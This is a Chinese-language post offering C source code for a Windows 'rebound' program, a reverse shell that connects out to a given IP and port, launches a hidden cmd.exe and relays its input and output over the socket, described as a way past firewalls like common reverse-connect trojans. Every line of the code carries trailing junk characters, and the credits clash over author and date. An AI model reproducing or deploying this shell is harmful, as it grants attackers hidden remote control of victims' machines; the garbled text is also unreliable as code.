这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 eP |)SU
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/* ============================== CA^.?&CH^O
Rebound port in Windows NT Je~p%m#e;K
By wind,2006/7 P(_(w
9
===============================*/ 2Ow<`[7
#include a<p
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#include w%u5<
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#pragma comment(lib,"wsock32.lib") n~%}Z[5D
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void OutputShell(); Bbs 0v6&,
SOCKET sClient; [4gjC
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; IwRQL%
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void main(int argc,char **argv) W-Of[X{<
{ ZNy9_a:dX
WSADATA stWsaData; I9/KM4&
int nRet; %UG/ak%z
SOCKADDR_IN stSaiClient,stSaiServer; )E~mJln
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if(argc != 3) ha>SZnKD{
{ <9N4"d!A
printf("Useage:\n\rRebound DestIP DestPort\n"); IUawdB5CB
return; ,.7vBt6 p
} !E0fGh
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WSAStartup(MAKEWORD(2,2),&stWsaData); )52#:27F
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); *1,=qRjL
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stSaiClient.sin_family = AF_INET; ,v_B)a_E
stSaiClient.sin_port = htons(0); lk o3]A3
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ULu O0\W
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) k+txb?
{ %&1$~m0
printf("Bind Socket Failed!\n"); E7LbSZ
return; hg&u0AQ2
} B$`d&7I;D
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stSaiServer.sin_family = AF_INET; _UIgRkl.
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); +gNX7xuY
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); !Sfe{/$w
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 3Tw%W0q
{ ](n69XX_
printf("Connect Error!"); !ABLd|tP
return; un&>
} dcP88!#5-
OutputShell(); w= B
} cf&C|U
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void OutputShell() vVdxi9yk
{ _KxX&THaj
char szBuff[1024]; i8eA_Q
SECURITY_ATTRIBUTES stSecurityAttributes; !|(Ao"]
OSVERSIONINFO stOsversionInfo; ULck
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; oE 5;|x3
STARTUPINFO stStartupInfo; 6Ok,_
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char *szShell; CQjV!d0j
PROCESS_INFORMATION stProcessInformation; 30BR0C
unsigned long lBytesRead; <L%HG
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); _-(z@
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); +> ^[W~[2
stSecurityAttributes.lpSecurityDescriptor = 0; xpz`))w
stSecurityAttributes.bInheritHandle = TRUE; qs "s/$
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); WQTendS
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 63SVIc~wT
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Ho>p ^p
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; VrudR#q
stStartupInfo.wShowWindow = SW_HIDE; DWdLA~'t
stStartupInfo.hStdInput = hReadPipe; $Q#?`j
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; &'NQ)Dn
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GetVersionEx(&stOsversionInfo); Jfe~ ,cI
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switch(stOsversionInfo.dwPlatformId) Dn: Yi8=
{ Q.<giBh
case 1: A?\h|u<
szShell = "command.com"; #% qqL
break; V02309Y
default: [;Vi~$p|Eo
szShell = "cmd.exe"; l(.7t'
break; YBR)s\*
} W;5N04ko
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); oUCS|
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send(sClient,szMsg,77,0); <.: 5Vx(Aw
while(1) }1l}- w`F
{ #3YdjU3w
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); w"yK\OE
if(lBytesRead) NT'Ie]|
{ Dy98[cL
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); \]Kq(k[p
send(sClient,szBuff,lBytesRead,0); }'%$7vL`Ft
} kg zwlKK
else u|(aS^H=q
{ -=@K%\\~5
lBytesRead=recv(sClient,szBuff,1024,0); ><MGZ?-N
if(lBytesRead<=0) break; "pR $cS
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); <<i=+ed8eP
} >qr=l,Hi
} gX/|aG$a!U
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return; Mf!owpW
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}